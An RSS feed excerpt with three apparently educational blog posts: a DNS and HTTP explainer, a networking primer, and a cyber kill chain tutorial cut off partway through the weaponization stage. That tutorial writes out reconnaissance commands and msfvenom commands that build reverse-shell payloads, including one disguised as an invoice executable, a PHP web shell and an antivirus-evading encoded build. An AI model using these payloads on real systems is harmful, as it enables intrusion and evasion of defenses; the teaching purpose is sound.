            <pubDate>Wed, 15 Jul 2026 08:44:40 GMT</pubDate>
            <atom:updated>2026-07-15T08:44:40.929Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Y7yrCDvgj8GNUssA-MVsg.jpeg" /></figure><p>Imagine this: You type google.com into your browser. A fraction of a second later, the entire homepage appears, ready to go.</p><p>In that single blink of an eye, your device conducted a flawless, multi-layered digital symphony — communicating with servers across the globe and deciphering complex protocols. It feels like magic. In reality, it is a perfectly organized conversation.</p><p>Whether you’re building websites or just browsing them, pulling back the curtain reveals a fascinating look at how the modern web functions.</p><h3>The Client-Server Model: The Foundation of Everything</h3><p>The entire internet runs on a simple, foundational architecture: <strong>a client asks for something, and a server provides it.</strong></p><pre>CLIENT                                    SERVER<br> (Your Phone/Laptop) ──── Sends Request ───► (Hosts the Website)<br>                     ◄─── Sends Response ───</pre><ul><li><strong>The Server:</strong> A server is simply a computer that hosts websites. The primary difference between a server and your personal laptop is that it is specialized and built to run 24/7. In fact, virtually any computer connected to the internet can technically host a web page.</li><li><strong>The Client:</strong> A client is any internet-capable device — such as your phone, laptop, or tablet — that displays websites and interacts with servers, typically utilizing a web browser like Chrome, Firefox, or Safari.</li></ul><p>Centralizing data on servers keeps the architecture incredibly efficient; resources are only consumed when a client actively requests them, keeping overall infrastructure costs down.</p><h3>DNS: The Phonebook of the Internet</h3><p>While humans love memorable, text-based website names like [www.example.com](https://www.example.com), computers only speak in numbers called <strong>IP addresses</strong> (like 192.0.2.1). The <strong>Domain Name System (DNS)</strong> acts as the global translator between the two.</p><h3>A Quick History Lesson</h3><p>DNS wasn’t always a given. In the early 1980s, the precursor to the modern internet (ARPANET) relied entirely on a single centralized file called hosts.txt to manually map names to network addresses. As the network expanded, this method quickly became unmanageable. In 1983, Paul Mockapetris and Jon Postel introduced the DNS framework we still use today (via RFC 882 and RFC 883)—a distributed, hierarchical system engineered to scale indefinitely.</p><h3>Anatomy of a Domain Name</h3><p>Consider the structure of [www.example.com](https://www.example.com):</p><p>Plaintext</p><pre>www  .  example  .  com<br>    │        │         │<br> Subdomain  Second-Level Top-Level Domain (TLD)<br>             Domain</pre><p><strong>Top-Level Domains (TLDs)</strong> sit at the absolute peak of this naming hierarchy and frequently provide context about a site’s purpose or geographical location:</p><ul><li>.com — Commercial</li><li>.org — Typically non-profits</li><li>.gov — Government entities</li><li>.edu — Educational institutions</li><li><em>Country-code TLDs</em> (like .uk or .de)</li><li><em>Generic TLDs</em> (like .tech, .guru, or .photography)</li></ul><h3>The Three Players in a DNS Lookup</h3><p>To find an IP address, three distinct server types coordinate the search:</p><ol><li><strong>Recursive Resolver:</strong> The “worker” utility managed by your ISP. It does the legwork on your browser’s behalf, starting broadly at the root level and narrowing the search down step-by-step. It caches results locally to instantly accelerate future lookups.</li><li><strong>Root Name Servers:</strong> Positioned at the very top of the DNS hierarchy, these servers direct the resolver to the appropriate TLD infrastructure.</li><li><strong>Authoritative Name Server:</strong> The definitive source of truth for a domain. It holds the actual, final DNS records (including the precise IP address, mail server paths, and subdomains).</li></ol><h3>The Full 7-Step DNS Journey</h3><p>When a request is not already saved in a cache, the look-up workflow triggers seamlessly:</p><pre>1. You type www.example.com into your browser.<br>        │<br>        ▼<br>2. The query is sent to your ISP&#39;s Recursive Resolver. <br>   (If it&#39;s already in the cache, it returns the IP immediately!)<br>        │<br>        ▼<br>3. Resolver queries a Root Name Server: &quot;Who handles .com?&quot;<br>        │<br>        ▼<br>4. Resolver queries the designated .com TLD Server: &quot;Who is authoritative for example.com?&quot;<br>        │<br>        ▼<br>5. Resolver queries the official Authoritative Name Server: &quot;What is the IP for www.example.com?&quot;<br>        │<br>        ▼<br>6. The Authoritative Server replies with the IP address, which the resolver passes to the browser.<br>        │<br>        ▼<br>7. Your browser connects directly to that numerical IP address.</pre><h3>HTTP: The Language of Browsers and Servers</h3><p>Once your browser acquires the target IP address, it initiates a connection using <strong>HTTP (Hypertext Transfer Protocol)</strong>. Invented by Tim Berners-Lee in the early 1990s, HTTP is the structured language that moves web pages, graphics, and applications between systems. Like the client-server model itself, it operates strictly on a <strong>Request → Response</strong> basis.</p><h3>Anatomy of an HTTP Request</h3><p>An HTTP request is cleanly divided into four distinct components: a <strong>URL</strong>, a <strong>Method</strong>, <strong>Headers</strong>, and an optional <strong>Request Body</strong>.</p><p>Here is what a baseline, human-readable HTTP request looks like:</p><pre>GET /index.html HTTP/1.1<br>Host: www.example.com<br>Cookie: SESSIONID=badb655ebd99ed6c8e58c0a1aab44eb9</pre><ul><li><strong>Line 1:</strong> Declares the <strong>Method</strong> (GET), the target <strong>path</strong> (/index.html), and the protocol version (HTTP/1.1).</li><li><strong>Line 2:</strong> The target server’s host domain ([www.example.com](https://www.example.com)).</li><li><strong>Line 3:</strong> A cookie header, used by the server to identify stateful information, like a user’s unique login session ID.</li></ul><h3>HTTP Methods: Declaring What You Want to Do</h3><p>HTTP methods function like verbs, clearly stating the intended action:</p><p><strong>MethodWhat it DoesGET</strong>Retrieves a specific resource without altering anything.<strong>POST</strong>Sends data to the server (common for form submissions and file uploads).<strong>PUT</strong>Creates a new resource or completely replaces an existing target.<strong>DELETE</strong>Permanently removes the designated resource from the server.<strong>HEAD</strong>Exactly like a GET request, but instructs the server to only return the headers, skipping the content body entirely.<strong>OPTIONS</strong>Probes the server to ask which HTTP methods are supported for a resource.<strong>PATCH</strong>Applies partial modifications or quick updates to a resource.<strong>CONNECT</strong>Establishes a transparent network tunnel to a secure server.<strong>TRACE</strong>Executes a loop-back diagnostic test along the path to the target.</p><h3>Headers: Giving the Server Context</h3><p>Headers follow a standard NAME: VALUE configuration, passing vital metadata about the client or the data format:</p><p><strong>HeaderMeaning</strong>HostThe exact server domain name the client wants to connect to.User-AgentIdentifies the software, operating system, and version of the requesting client.AcceptExplicitly informs the server which data formats (like JSON or HTML) the client can interpret.Accept-LanguageThe client&#39;s preferred human language setting.AuthorizationPasses secret access tokens to authenticate the user to secure APIs.Cache-ControlSpecific directions detailing how the content should be cached.ConnectionDictates network persistence preferences (e.g., keep-alive to maintain the tunnel).RefererThe address of the previous web page that linked to the current URL.Content-TypeOutlines the encoding style of the request body data (omitted during standard GET requests).</p><h3>The Request Body: Carrying the Payload</h3><p>When you need to send large blocks of data — such as submitting an account form or uploading a file via POST, PUT, or PATCH—that information is packed into the <strong>Request Body</strong>.</p><p>For example, a complex action like uploading a photo generates a detailed multipart request body:</p><pre>POST /v1/photos/upload HTTP/1.1<br>Host: api.myphotos.com<br>x-api-key: API_KEY<br>Content-Length: 232<br>Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW</pre><pre>------WebKitFormBoundary7MA4YWxkTrZu0gW<br>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;/C:/Users/John/Photos/my_photo.jpg&quot;<br>Content-Type: image/jpeg</pre><pre>(binary image data goes here)<br>------WebKitFormBoundary7MA4YWxkTrZu0gW--</pre><p>The server reads the Content-Type: multipart/form-data header to correctly parse out the binary layout, process the image, and save it to the file infrastructure.</p><h3>HTTP Responses: The Server’s Reply</h3><p>After handling the processing logic, the server returns an HTTP response consisting of a status line, headers, and the requested content payload:</p><pre>HTTP/1.1 200 OK<br>Date: Sun, 28 Mar 2023 10:15:00 GMT<br>Content-Type: application/json<br>Server: Apache/2.4.39 (Unix)<br>Content-Length: 1024</pre><pre>{<br>    &quot;name&quot;: &quot;John Doe&quot;,<br>    &quot;email&quot;: &quot;johndoe@example.com&quot;<br>}</pre><p>The very first line provides the explicit <strong>Status Code</strong>, categorized by these universal standards:</p><p><strong>Code RangeMeaning / Context100–101Informational:</strong> The server acknowledges the request and tells the client to keep going.<strong>200–203Success:</strong> The request was completely understood, processed, and approved (e.g., 200 OK).<strong>301Redirection:</strong> The resource has moved permanently; the client is forwarded to a new address.<strong>404Client Error:</strong> The client asked for something invalid or non-existent (e.g., 404 Not Found).<strong>500Server Error:</strong> The client&#39;s request was fine, but the server broke internally while processing it.</p><h3>The Complete End-to-End Lifecycle</h3><p>Tying every phase together, here is the absolute path a web page follows from start to finish:</p><ol><li><strong>The Keystroke:</strong> You input a human-friendly URL (like [https://google.com](https://google.com)) and hit Enter.</li><li><strong>DNS Resolution:</strong> The browser uses the DNS system to resolve that string into a numeric IP address.</li><li><strong>The HTTP Request:</strong> The browser crafts a tailored HTTP request and transmits it to the server’s IP.</li><li><strong>The HTTP Response:</strong> The server reads the request payload, handles the backend code, and replies with a status code along with raw HTML code.</li><li><strong>Browser Rendering:</strong> The browser reads the HTML structure. If it encounters styling (CSS), graphics, or scripts (JavaScript), it silently triggers extra HTTP requests to fetch those items, dynamically building the visual page.</li><li><strong>Closing the Loop:</strong> Unless a keep-alive directive keeps the socket open, the connection safely terminates. The application rests until you click the next link, starting the cycle anew.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0943fc8d74f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Networking 101: How Computers Actually Talk to Each Other]]></title>
            <link>https://medium.com/@elizabethsosacherian/networking-101-how-computers-actually-talk-to-each-other-0ad09a5f985c?source=rss-39f1a1b14d2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/0ad09a5f985c</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[fundamentals]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[computer-science]]></category>
            <dc:creator><![CDATA[Elizabethsosacherian]]></dc:creator>
            <pubDate>Wed, 15 Jul 2026 06:21:55 GMT</pubDate>
            <atom:updated>2026-07-15T06:21:55.544Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ls7kj1hf6Ze1EAEQG12QgQ.jpeg" /></figure><p>Ever wondered what really happens when you type a website address and hit Enter? Behind that simple action is a whole world of cables, devices, addresses, and rules working together.</p><h3><strong>First: What Is a Protocol?</strong></h3><p>Before two computers can talk, they need to agree on the “language” — that’s called a <strong>protocol</strong>. Familiar examples include TCP/IP, Ethernet, WiFi, HTTP, DNS, and DHCP. These rules are created by a handful of standards organizations:</p><ul><li><strong>IEEE</strong> — created the 802 standard that Wi-Fi and Ethernet are built on.</li><li><strong>IETF</strong> — governs internet backbone tech like TCP/IP, publishing rules called RFCs.</li><li><strong>ISO</strong> — publishes broad international standards, including the ISO/IEC 27000 series for information security.</li><li><strong>ITU</strong> — a UN telecom agency (ITU-T for technical telecom standards, ITU-R for radio frequency).</li><li><strong>ANSI</strong> — coordinates US standards and keeps them compatible internationally.</li><li><strong>W3C</strong> — sets the standards for the web itself: HTML, CSS, XML.</li></ul><h3>The Three Sizes of Networks</h3><p>Networks are classified mainly by how much geographic area they cover:</p><pre>LAN (a building)  &lt;  MAN (a city)  &lt;  WAN (countries/continents)</pre><ul><li><strong>LAN (Local Area Network)</strong> — covers a home, office, or building. High speed (Gbps), lets devices share printers and files, and can be secured with local security tools.</li><li><strong>MAN (Metropolitan Area Network)</strong> — spans a city, a university campus, or several nearby cities. Sits between LAN and WAN, offers high bandwidth, and is often set up by ISPs or large IT departments — used for things like connecting city administration or hospital networks.</li><li><strong>WAN (Wide Area Network)</strong> — spans countries or continents (the Internet itself is essentially a WAN). Uses fiber, satellite, or telephone lines. Costlier to set up, and generally slower than a LAN because data travels much farther.</li></ul><p>There’s also a simpler distinction:</p><ul><li><strong>Internet</strong> — the global network, open to everyone.</li><li><strong>Intranet</strong> — a private network just for one organization’s employees, closed off from the public.</li></ul><h3>The Hardware That Makes It All Work</h3><p><strong>Network Interface Card (NIC)</strong> — the piece of hardware that actually connects a computer to a network. Every NIC has a factory-assigned, globally unique <strong>MAC address</strong>. NICs come in two types:</p><ul><li><strong>Wired</strong> — connects via Ethernet cable (RJ-45 or fiber), generally faster and more stable.</li><li><strong>Wireless</strong> — connects via Wi-Fi, common in laptops and phones.</li></ul><p><strong>Hub vs. Switch — an important difference:</strong></p><pre>HUB:  incoming data → sent to EVERY port<br>         (simple, but everyone can see everyone&#39;s traffic)</pre><pre>   SWITCH: incoming data → sent ONLY to the intended device&#39;s port<br>           (uses MAC addresses to know exactly where to send it)</pre><p>Switches come in three flavors: <strong>Unmanaged</strong> (plug-and-play, no configuration), <strong>Managed</strong> (supports VLANs, QoS — best for large complex networks), and <strong>Smart</strong> (advanced features but easier to configure than a full managed switch).</p><p><strong>Router</strong> — connects different networks together and directs data using IP addresses. It’s what lets your whole household share one internet connection and manage traffic between your home network and the wider internet.</p><p><strong>Modem</strong> — short for “modulator-demodulator.” Converts your ISP’s analog signal into digital data your devices understand, and vice versa. Types include Dial-Up (up to 56 kbps), DSL, Cable, Fiber Optic, and Wireless (3G/4G/5G). Many modern modems combine modem + router + switch into one box.</p><p><strong>Access Point (AP)</strong> — takes a wired network and broadcasts it as Wi-Fi, commonly used in offices and public spaces.</p><p><strong>Firewall</strong> — monitors and filters incoming/outgoing traffic based on security rules. Types range from simple <strong>Packet Filtering</strong> (checks IP/port/protocol) to <strong>Stateful Inspection</strong> (tracks connection state) to <strong>Application Layer/Proxy</strong> (inspects traffic at the app level) to <strong>Next-Generation Firewalls (NGFW)</strong>, which add intrusion prevention and deep packet inspection.</p><h3>Cables: How Data Physically Travels</h3><ul><li><strong>Coaxial Cable</strong> — older tech, mostly used for cable TV/modems today (RG-6) or CCTV (RG-59). Uses BNC or F-connectors.</li><li><strong>Twisted Pair Cable</strong> — the standard for LANs. Comes as <strong>UTP</strong> (unshielded, common in offices/homes) or <strong>STP</strong> (shielded, better for noisy industrial environments). Uses <strong>RJ-45</strong> connectors (8-pin) — not to be confused with <strong>RJ-11</strong> (4-pin, telephone) or <strong>DB-9</strong> (serial connections).</li><li><strong>Straight-through cable</strong> connects <em>different</em> device types (computer → switch, router → switch).</li><li><strong>Crossover cable</strong> connects <em>similar</em> device types directly (computer → computer, switch → switch). Modern devices use <strong>Auto-MDIX</strong> to auto-detect either type, so this distinction matters less today.</li><li><strong>Fiber Optic Cable</strong> — transmits data as light, immune to electromagnetic interference, great for long distances.</li><li><strong>Multimode (MMF)</strong> — shorter distances, up to ~2 km.</li><li><strong>Singlemode (SMF)</strong> — longer distances, up to ~200 km (a 9-micron singlemode fiber can even do 75 miles at 400 Gbps).</li><li>Common connectors: <strong>LC</strong>, <strong>SC</strong>, and <strong>MTRJ</strong> (which houses two fibers).</li></ul><h3>Network Topologies: How Devices Are Arranged</h3><pre>STAR        RING         BUS          TREE          MESH        P2P<br>  ●-●-●      ●---●        ●--●--●      ●              ●-●         ●-●<br>   \|/       |   |        (single      /\             |X|         (no<br>    ●        ●---●         line)      ● ●             ●-●        central<br>   /|\                                                            server)<br>  ●-●-●</pre><ul><li><strong>Star</strong> — all devices connect to a central hub/switch. Easy to add/remove devices; if the central device fails, the whole network goes down. Common in homes/small offices.</li><li><strong>Ring</strong> — each device connects to exactly two neighbors, forming a loop. Reduces collisions but a single break can affect the whole network, and expanding requires breaking the ring. Used in MANs and some LANs.</li><li><strong>Bus</strong> — all devices share one transmission line (often coaxial). Cheap, but hard to troubleshoot if the line is damaged. Used in small/temporary setups.</li><li><strong>Tree</strong> — star networks combined hierarchically from a central root. Good for large corporate/campus networks, but a failure higher up affects everything below it.</li><li><strong>Mesh</strong> — devices have multiple connections to each other (full mesh = every device connects to every other device). Very resilient (no single point of failure) but expensive. Used in critical/data-center networks.</li><li><strong>Peer-to-Peer (P2P)</strong> — no central server; devices talk directly as equals. Easy to add devices, but harder to secure and manage at scale. Used in file sharing and blockchain.</li><li><strong>Hybrid</strong> — a mix of two or more topologies, combining their strengths for complex needs — common in large organizations.</li></ul><h3>How Data Actually Flows: Communication Modes &amp; Types</h3><p><strong>Modes (direction of flow):</strong></p><pre>Simplex:      Sender ───────► Receiver           (one-way, e.g. keyboard → monitor)<br>  Half-Duplex:  Sender ◄──────► Receiver (one at a time, e.g. walkie-talkie)<br>  Full-Duplex:  Sender ◄══════► Receiver (both ways at once, e.g. phone call)</pre><p><strong>Types (how many receivers):</strong></p><ul><li><strong>Unicast</strong> — one sender, one receiver. Most internet traffic (e.g. loading a webpage) works this way.</li><li><strong>Multicast</strong> — one sender, a specific group of receivers (e.g. a live video stream reaching many viewers at once).</li><li><strong>Broadcast</strong> — one sender, every device on the network (e.g. a DHCP request, which needs to reach every device to find the DHCP server).</li></ul><h3>The Big Picture: Network Models (OSI &amp; TCP/IP)</h3><p>To manage all this complexity, networking is organized into <strong>layers</strong> — each layer has one job, and layers work together through defined rules. The two major models are <strong>OSI</strong> (7 layers, made by ISO) and <strong>TCP/IP</strong> (4 layers, the model the actual internet runs on).</p><h3>The OSI Model — 7 Layers</h3><pre>Upper Layers (software / user-facing):<br>   7. Application   — HTTP, FTP, SMTP — where the user&#39;s request starts<br>   6. Presentation  — encryption, compression, format conversion<br>   5. Session       — opens/manages/closes the communication session</pre><pre>  Lower Layers (how data physically moves):<br>   4. Transport     — TCP/UDP, breaks data into segments<br>   3. Network       — IP addresses, routing, breaks data into packets<br>   2. Data Link     — MAC addresses, breaks data into frames<br>   1. Physical      — actual cables, signals, hardware</pre><p><strong>What happens layer by layer when you load a webpage</strong> (straight from the module):</p><ol><li><strong>Application (7)</strong> — your browser sends an HTTP request.</li><li><strong>Presentation (6)</strong> — data gets formatted/encrypted/compressed for transmission.</li><li><strong>Session (5)</strong> — a session is opened between your computer and the server.</li><li><strong>Transport (4)</strong> — data is broken into <strong>segments</strong> (TCP ensures they arrive reliably and in order).</li><li><strong>Network (3)</strong> — segments become <strong>packets</strong>, each tagged with IP addresses for routing across networks.</li><li><strong>Data Link (2)</strong> — packets become <strong>frames</strong>, tagged with MAC addresses for local delivery.</li><li><strong>Physical (1)</strong> — frames become electrical, optical, or radio signals sent over the wire/air.</li></ol><h3>TCP/IP Model — 4 Layers (what the real Internet uses)</h3><p>TCP/IP is simpler and came first — it combines some OSI layers together:</p><pre>OSI (7 layers)                    TCP/IP (4 layers)<br>   ─────────────────                 ──────────────────<br>   Application    ┐<br>   Presentation   ├──────────────►   Application<br>   Session        ┘<br>   Transport      ───────────────►   Transport<br>   Network        ───────────────►   Internet<br>   Data Link      ┐<br>   Physical       ├──────────────►   Network Access</pre><p><strong>TCP/IP Application Layer protocols:</strong> HTTP/HTTPS (web), SNMP (device management), SMTP (email), DNS (name → IP translation), TELNET (unsecured remote access), SSH (secure remote access), FTP (file transfer).</p><p><strong>TCP/IP Transport Layer — TCP vs UDP:</strong></p><p>TCP UDP Connection Connection-oriented (handshake first) Connectionless Reliability Reliable — resends lost data, keeps order Unreliable — no guarantee Speed Slower (more overhead) Faster (less overhead) Example use Web browsing, file transfer Video streaming</p><p><strong>The TCP Three-Way Handshake</strong> (how a reliable connection is set up):</p><pre>Client                          Server<br>    │──────── 1. SYN ────────────►│   &quot;I want to connect, here&#39;s my starting number&quot;<br>    │◄─────── 2. SYN-ACK ─────────│   &quot;OK, here&#39;s mine — and I got yours&quot;<br>    │──────── 3. ACK ─────────────►│   &quot;Confirmed, let&#39;s talk&quot;</pre><p><strong>Internet Layer — IP, ICMP, ARP:</strong></p><ul><li><strong>IP (Internet Protocol)</strong> gives every device a unique address and routes packets using it (with the help of routing protocols like RIP, OSPF, BGP).</li><li><strong>ICMP</strong> reports problems (like “device unreachable”) rather than fixing them — this is what the ping command uses (Echo Request → Echo Reply). Ping output tells you packet loss %, response time, and TTL — all useful for gauging network health.</li><li><strong>ARP (Address Resolution Protocol)</strong> finds a device’s MAC address from its IP address: an <strong>ARP Request</strong> goes out, and only the device with the matching IP replies with an <strong>ARP Reply</strong>.</li></ul><p><strong>Network Access Layer</strong> — combines OSI’s Physical + Data Link layers. Handles MAC addressing and frames data for actual transmission. Protocols: Ethernet, Token Ring, FDDI, and others.</p><h3>Ports: How One Computer Runs Many Services at Once</h3><p>Since a computer usually has just one IP address, <strong>ports</strong> let it run multiple network services simultaneously. There are 65,536 ports total, and ports 0–1023 are “well-known,” assigned by IANA. A few worth memorizing:</p><p>Service Port TCP/UDP FTP 20, 21 TCP SSH / SFTP 22 TCP Telnet 23 TCP SMTP 25 TCP DNS 53 UDP DHCP 67, 68 UDP HTTP 80 TCP POP3 110 TCP IMAP4 143 TCP LDAP 389 TCP HTTPS 443 TCP SMB 445 TCP LDAPS 636 TCP RDP 3389 TCP</p><p>A quick note on a few key ones: <strong>DNS</strong> turns a name like hackviser.com into an IP address (e.g. 162.0.232.236) using the nslookup command. <strong>SSH</strong> encrypts remote access traffic (unlike the plain-text, insecure <strong>Telnet</strong>). <strong>HTTPS</strong> is HTTP wrapped in SSL/TLS encryption for secure browsing.</p><h3>Addresses: MAC vs. IP</h3><p><strong>MAC Address</strong> — the physical address burned into your NIC. 6 bytes (48 bits) total; the first 3 bytes identify the manufacturer (assigned by IEEE). Example: 00:21:70:6f:06:F2. The address FF:FF:FF:FF:FF:FF means &quot;broadcast to everyone.&quot;</p><p><strong>IP Address (IPv4)</strong> — a logical address, 32 bits split into four 8-bit “octets” written in decimal, like 192.168.1.10. Every IP address has two parts:</p><pre>192.168.1.10<br>   └─────┬────┘└┬┘<br>     Network    Host<br>     Address    Address<br>   (which network)  (which device on it)</pre><p>Every device also needs:</p><ul><li><strong>Subnet Mask</strong> — e.g. 255.255.255.0 tells you the first 24 bits are the network, the last 8 are the host.</li><li><strong>Default Gateway</strong> — the router’s IP that lets your device talk to devices outside its own network.</li></ul><p><strong>IPv4 Classes:</strong></p><p>Class Network Bits Host Bits Address Range A 8 24 1.0.0.0–126.255.255.255 B 16 16 128.0.0.0–191.255.255.255 C 24 8 192.0.0.0–223.255.255.255</p><p><strong>Public vs. Private IP addresses:</strong></p><ul><li><strong>Public</strong> — globally unique, directly reachable on the internet (websites, mail servers, etc.).</li><li><strong>Private</strong> — used inside LANs, not directly routable on the internet, needs <strong>NAT</strong> (Network Address Translation) to reach the internet. Common private ranges: 10.0.0.0–10.255.255.255, 172.16.0.0–172.31.255.255, 192.168.0.0–192.168.255.255.</li><li><strong>Loopback address</strong> (127.0.0.1) — a special address a device uses to talk to <em>itself</em>, handy for testing.</li></ul><h3>CIDR &amp; Subnetting (Slicing Up a Network)</h3><p><strong>CIDR notation</strong> is a compact way to write a subnet mask:</p><pre>192.168.1.0/24  =  IP 192.168.1.0 with subnet mask 255.255.255.0<br>   /24  =  11111111.11111111.11111111.00000000</pre><p><strong>How many usable devices fit in a subnet?</strong></p><pre>Usable hosts = 2^(host bits) − 2<br>   Example: /24 has 8 host bits → 2^8 − 2 = 254 usable addresses</pre><p>(We subtract 2 because the very first address is reserved as the <em>network address</em> and the very last is reserved as the <em>broadcast address</em>.)</p><p><strong>FLSM (Fixed Length Subnet Masking)</strong> — splits a network into subnets of <strong>equal</strong> size. Simple, but can waste addresses. Example: splitting 192.168.1.0/24 into 4 equal subnets means borrowing 2 bits (2² = 4), giving each subnet a /26 mask (255.255.255.192):</p><pre>Subnet 1: 192.168.1.0/26    → hosts 192.168.1.1–.62    → broadcast .63<br>  Subnet 2: 192.168.1.64/26   → hosts 192.168.1.65–.126  → broadcast .127<br>  Subnet 3: 192.168.1.128/26  → hosts 192.168.1.129–.190 → broadcast .191<br>  Subnet 4: 192.168.1.192/26  → hosts 192.168.1.193–.254 → broadcast .255</pre><p><strong>VLSM (Variable Length Subnet Masking)</strong> — splits a network into subnets of <strong>different</strong> sizes based on actual need, so fewer addresses go to waste. Example: needing subnets for 50, 30, 10, and 2 devices:</p><pre>Subnet 1 (50 devices) → /26 (255.255.255.192) → 62 usable addresses<br>  Subnet 2 (30 devices) → /27 (255.255.255.224) → 30 usable addresses<br>  Subnet 3 (10 devices) → /28 (255.255.255.240) → 14 usable addresses<br>  Subnet 4 (2 devices)  → /30 (255.255.255.252) → 2 usable addresses</pre><p>In VLSM, you always allocate the <em>biggest</em> subnet first, and each next subnet starts right where the previous one ended.</p><h3>Bringing It All Together</h3><p>Every time you load a webpage, dozens of these pieces work together in milliseconds: your NIC connects through a switch and router, DNS turns the website name into an IP address, TCP opens a reliable connection with a three-way handshake, your request travels down through all 7 OSI layers as bits over a cable or Wi-Fi signal, and the whole thing happens again in reverse to bring the page back to your screen.</p><p>Networking can look intimidating from the outside, but at its core, it’s really just a very well-organized set of rules for getting a message from Point A to Point B — reliably, securely, and fast.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0ad09a5f985c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[“From Recon to Ransom: Decoding the Cyber Kill Chain”]]></title>
            <link>https://medium.com/@elizabethsosacherian/from-recon-to-ransom-decoding-the-cyber-kill-chain-3b5ec4796193?source=rss-39f1a1b14d2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b5ec4796193</guid>
            <category><![CDATA[cyber-kill-chain]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Elizabethsosacherian]]></dc:creator>
            <pubDate>Fri, 10 Jul 2026 07:35:49 GMT</pubDate>
            <atom:updated>2026-07-10T07:35:49.412Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a-JlhG4APMKngJV-6rIQMg.png" /></figure><p>Imagine a burglar breaking into a house. They don&#39;t just walk up and kick the door in. First they watch the house, figure out the owner&#39;s schedule, and check for open windows. Then they prepare their tools. Then they get inside. Then they make sure they can get back in later, even if a door gets locked. That&#39;s basically how a cyberattack works too.</p><p>The <strong>Cyber Kill Chain</strong> breaks a cyberattack into <strong>7 stages</strong>, in order. The idea: if defenders can stop the attacker at <em>any one</em> of these 7 steps, the whole attack fails.</p><pre>1. Reconnaissance → 2. Weaponization → 3. Delivery → 4. Exploitation<br>      → 5. Installation → 6. Command &amp; Control → 7. Actions on Objectives</pre><p>Let&#39;s go through each stage one at a time, in plain language, using the exact examples from the module.</p><h3>Stage 1: Reconnaissance (Scoping Out the Target)</h3><p>This is the &quot;watching the house&quot; stage. The attacker collects information about the target before doing anything else. The more they learn here, the better their chances later.</p><p>There are two types:</p><p><strong>Passive Reconnaissance</strong> — the attacker does NOT talk to the target&#39;s systems at all. They just look at public information, so it&#39;s very hard to detect. Example tools:</p><ul><li><strong>Google Dorking</strong> — using special search queries to find exposed files. Example from the module: site:target-site.com filetype:pdf This searches Google for PDF files sitting on the target&#39;s website.</li><li><strong>theHarvester</strong> — a tool that scans search engines for emails, subdomains, and hostnames: theHarvester -d target-site.com -l 500 -b google This finds things like admin@target-site.com or vpn.target-site.com.</li><li><strong>Shodan</strong> — a search engine for internet-connected devices (servers, webcams, IoT). Example: shodan search org:&quot;Target Organization&quot;</li></ul><p><strong>Active Reconnaissance</strong> — the attacker actually sends data to the target&#39;s systems and looks at the response. This leaves logs behind, so it&#39;s riskier for the attacker.</p><ul><li><strong>Nmap</strong> — scans for open ports and even guesses the operating system: nmap -sV -O 192.168.1.10 A real result might show vsftpd 2.3.4 running — a version known to have a backdoor bug, which is gold for an attacker.</li><li><strong>Gobuster</strong> — hunts for hidden folders/files on a website: gobuster dir -u http://target-site.com -w /usr/share/wordlists/dirb/common.txt</li></ul><p><strong>Flowchart — Passive vs Active Recon:</strong></p><pre>┌─────────────────┐<br>                     │  Reconnaissance  │<br>                     └────────┬─────────┘<br>             ┌─────────────────────────────────┐<br>             ▼                                   ▼<br>     Passive Recon                        Active Recon<br>   (no contact w/ target)              (direct contact w/ target)<br>   - Google Dorking                    - Nmap port scan<br>   - theHarvester                      - Nmap OS/version detection<br>   - Shodan                            - Gobuster directory scan<br>   → Hard to detect                    → Leaves logs, easier to detect</pre><p><strong>Defense:</strong> don&#39;t leak technical details on job posts/social media, hide WHOIS info, hide detailed error messages, and watch logs for scan attempts.</p><h3>Stage 2: Weaponization (Building the Weapon)</h3><p>Now the attacker builds their actual &quot;weapon.&quot; This happens on the attacker&#39;s own computer — they haven&#39;t touched the target yet.</p><p><strong>Formula:</strong> Exploit + Payload = Weapon</p><ul><li><strong>Exploit</strong> = the code that triggers a bug in the target.</li><li><strong>Payload</strong> = the malicious code that runs afterward (e.g. a shell that gives the attacker control).</li><li><strong>Reverse Shell</strong> — target connects back OUT to the attacker (harder for firewalls to block, since outgoing traffic is usually less restricted).</li><li><strong>Bind Shell</strong> — target opens a port and waits for the attacker to connect IN.</li></ul><p>The weapon is usually hidden inside something familiar:</p><ul><li><strong>Office macros</strong> — a VBA macro inside a Word/Excel file that runs when the victim clicks &quot;Enable Content.&quot; The module&#39;s example macro secretly launches PowerShell to download and run a script.</li><li><strong>PDF files</strong> with hidden scripts.</li><li><strong>HTA/JS/VBS scripts</strong> — files that Windows will run directly.</li></ul><p><strong>Tool example — msfvenom</strong> (from Metasploit) creates the actual malicious file:</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o invoice_update.exe</pre><p>Notice the file is named invoice_update.exe — disguised to look harmless.</p><p>There&#39;s also a web version for attacking servers:</p><pre>msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw &gt; shell.php</pre><p><strong>Obfuscation</strong> — attackers disguise their payload so antivirus tools don&#39;t recognize it: Base64/Hex encoding, &quot;packing&quot; (compressing/encrypting the file), or encrypting the code so it only appears in memory when run. Example using an encoder called shikata_ga_nai:</p><pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded_payload.exe</pre><p><strong>Flowchart:</strong></p><pre>Exploit (bug-trigger code)  +  Payload (reverse/bind shell)<br>                    │<br>                    ▼<br>              